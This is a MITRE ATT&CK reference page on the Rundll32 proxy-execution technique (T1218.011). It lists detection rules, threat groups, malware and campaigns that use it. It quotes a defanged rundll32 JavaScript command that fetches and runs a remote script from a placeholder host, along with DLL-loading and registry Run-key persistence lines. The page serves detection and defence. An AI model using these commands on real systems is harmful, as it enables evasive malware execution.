Rundll32

T1218.011

Sub-technique of T1218 System Binary Proxy Execution.View on attack.mitre.org

About this technique

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.

Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

Detection rules49

Rules on DetectionCode tagged with T1218.011.

Sigma27

Rule	Level	Log source
HackTool - F-Secure C3 Load by Rundll32	critical	windows / process_creation
Bad Opsec Defaults Sacrificial Processes With Improper Arguments	high	windows / process_creation
CobaltStrike Load by Rundll32	high	windows / process_creation
HackTool - RedMimicry Winnti Playbook Execution	high	windows / process_creation
HTML Help HH.EXE Suspicious Child Process	high	windows / process_creation
Potential PowerShell Execution Via DLL	high	windows / process_creation
Process Access via TrolleyExpress Exclusion	high	windows / process_creation
RunDLL32 Spawning Explorer	high	windows / process_creation
Rundll32 UNC Path Execution	high	windows / process_creation
Shell32 DLL Execution in Suspicious Directory	high	windows / process_creation
Suspicious Control Panel DLL Load	high	windows / process_creation
Suspicious HH.EXE Execution	high	windows / process_creation
Suspicious Rundll32 Activity Invoking Sys File	high	windows / process_creation
Suspicious Rundll32 Execution With Image Extension	high	windows / process_creation
Suspicious ShellExec_RunDLL Call Via Ordinal	high	windows / process_creation
Code Execution via Pcwutl.dll	medium	windows / process_creation
Outbound Network Connection To Public IP Via Winlogon	medium	windows / network_connection
Potentially Suspicious Rundll32 Activity	medium	windows / process_creation
Potentially Suspicious Rundll32.EXE Execution of UDL File	medium	windows / process_creation
Remote Thread Creation Via PowerShell In Uncommon Target	medium	windows / create_remote_thread
Rundll32 Execution With Uncommon DLL Extension	medium	windows / process_creation
Rundll32 InstallScreenSaver Execution	medium	windows / process_creation
Rundll32 Internet Connection	medium	windows / network_connection
SCR File Write Event	medium	windows / file_event
ScreenSaver Registry Key Set	medium	windows / registry_set
Suspicious Rundll32 Setupapi.dll Activity	medium	windows / process_creation
Unsigned DLL Loaded by Windows Utility	medium	windows / image_load

Splunk22

Rule	Type	Risk	Data source
Detect Rundll32 Application Control Bypass - advpack	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Detect Rundll32 Application Control Bypass - setupapi	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Detect Rundll32 Application Control Bypass - syssetup	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
RunDLL Loading DLL By Ordinal	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Rundll32 Control RunDLL Hunt	Hunting	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Rundll32 Control RunDLL World Writable Directory	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Rundll32 DNSQuery	TTP	NULL	Sysmon EventID 22
Rundll32 LockWorkStation	Anomaly	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Rundll32 Process Creating Exe Dll Files	TTP	NULL	Sysmon EventID 11
Rundll32 with no Command Line Arguments with Network	TTP	NULL	Sysmon EventID 1 AND Sysmon EventID 3
Suspicious IcedID Rundll32 Cmdline	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious Rundll32 dllregisterserver	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious Rundll32 no Command Line Arguments	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious Rundll32 PluginInit	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Suspicious Rundll32 Rename	Hunting	NULL	Sysmon EventID 1
Suspicious Rundll32 StartW	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Windows Application Whitelisting Bypass Attempt via Rundll32	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Windows LOLBAS Executed As Renamed File	TTP	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Windows LOLBAS Executed Outside Expected Path	Anomaly	NULL	Sysmon EventID 1, Windows Event Log Security 4688
Windows Rundll32 Apply User Settings Changes	Anomaly	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2
Windows Rundll32 Load DLL in Temp Dir	Anomaly	NULL	Sysmon EventID 1
Windows Rundll32 with Non-Standard File Extension	Anomaly	NULL	Sysmon EventID 1, Windows Event Log Security 4688, CrowdStrike ProcessRollup2

Campaigns8

2015 Ukraine Electric Power Attack C0015 C0018 C0021 Operation Dream Job Operation Spalax SolarWinds Compromise Water Curupira Pikabot Distribution

Procedure examples103

Groups26

Used by	Procedure example
GroupAPT19	APT19 configured its payload to inject into the rundll32.exe. FireEye APT19
GroupAPT28	APT28 executed CHOPSTICK by using rundll32 commands such as `rundll32.exe “C:\Windows\twain_64.dll”`. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload. Bitdefender APT28 Dec 2015 Crowdstrike DNC June 2016 Cybersecurity Advisory GRU Brute Force Campaign July 2021 ESET Zebrocy May 2019 Palo Alto Sofacy 06-2018 Unit 42 Playbook Dec 2017
GroupAPT3	APT3 has a tool that can run DLLs. FireEye Clandestine Fox
GroupAPT32	APT32 malware has used rundll32.exe to execute an initial infection process. Cybereason Cobalt Kitty 2017
GroupAPT38	APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools. 1 - appv CISA AA20-239A BeagleBoyz August 2020
GroupAPT41	APT41 has used rundll32.exe to execute a loader. Crowdstrike GTR2020 Mar 2020
GroupAquatic Panda	Aquatic Panda used rundll32.exe to proxy execution of a malicious DLL file identified as a keylogging binary. Crowdstrike HuntReport 2022
GroupBlue Mockingbird	Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe. RedCanary Mockingbird May 2020

View all 26 groups examples

Software69

Used by	Procedure example
MalwareADVSTORESHELL	ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence. Bitdefender APT28 Dec 2015
MalwareAttor	Attor's installer plugin can schedule rundll32.exe to load the dispatcher. ESET Attor Oct 2019
MalwareBackdoor.Oldrea	Backdoor.Oldrea can use rundll32 for execution on compromised hosts. Gigamon Berserk Bear October 2021
MalwareBad Rabbit	Bad Rabbit has used rundll32 to launch a malicious DLL as `C:Windowsinfpub.dat`. Secure List Bad Rabbit
MalwareBisonal	Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: `HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”`. Unit 42 Bisonal July 2018
MalwareBLINDINGCAN	BLINDINGCAN has used Rundll32 to load a malicious DLL. US-CERT BLINDINGCAN Aug 2020
MalwareBoomBox	BoomBox can use RunDLL32 for execution. MSTIC Nobelium Toolset May 2021
MalwareBriba	Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs. Symantec Briba May 2012

View all 69 software examples

Campaigns8

Used by	Procedure example
Campaign2015 Ukraine Electric Power Attack	During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using `rundll32.exe`. Booz Allen Hamilton
CampaignC0015	During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process. DFIR Conti Bazar Nov 2021
CampaignC0018	During C0018, the threat actors used `rundll32` to run Mimikatz. Costa AvosLocker May 2022
CampaignC0021	During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL. FireEye APT29 Nov 2018
CampaignOperation Dream Job	During Operation Dream Job, Lazarus Group executed malware with `C:\\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db"`, `CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905`. ClearSky Lazarus Aug 2020 ESET Lazarus Jun 2020 McAfee Lazarus Jul 2020
CampaignOperation Spalax	During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers. ESET Operation Spalax Jan 2021
CampaignSolarWinds Compromise	During the SolarWinds Compromise, APT29 used `Rundll32.exe` to execute payloads. Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks Microsoft Deep Dive Solorigate January 2021
CampaignWater Curupira Pikabot Distribution	Water Curupira Pikabot Distribution utilizes rundll32.exe to execute the final Pikabot payload, using the named exports `Crash` or `Limit` depending on the variant. TrendMicro Pikabot 2024

References7

Attackify Rundll32.exe Obscurity Open source
Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.
Github NoRunDll Open source
gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.
This is Security Command Line Confusion Open source
B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.
Trend Micro CPL Open source
Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.
lolbas project Ieframe.dll Open source
lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.
lolbas project Zipfldr.dll Open source
lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.
rundll32.exe defense evasion Open source
Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.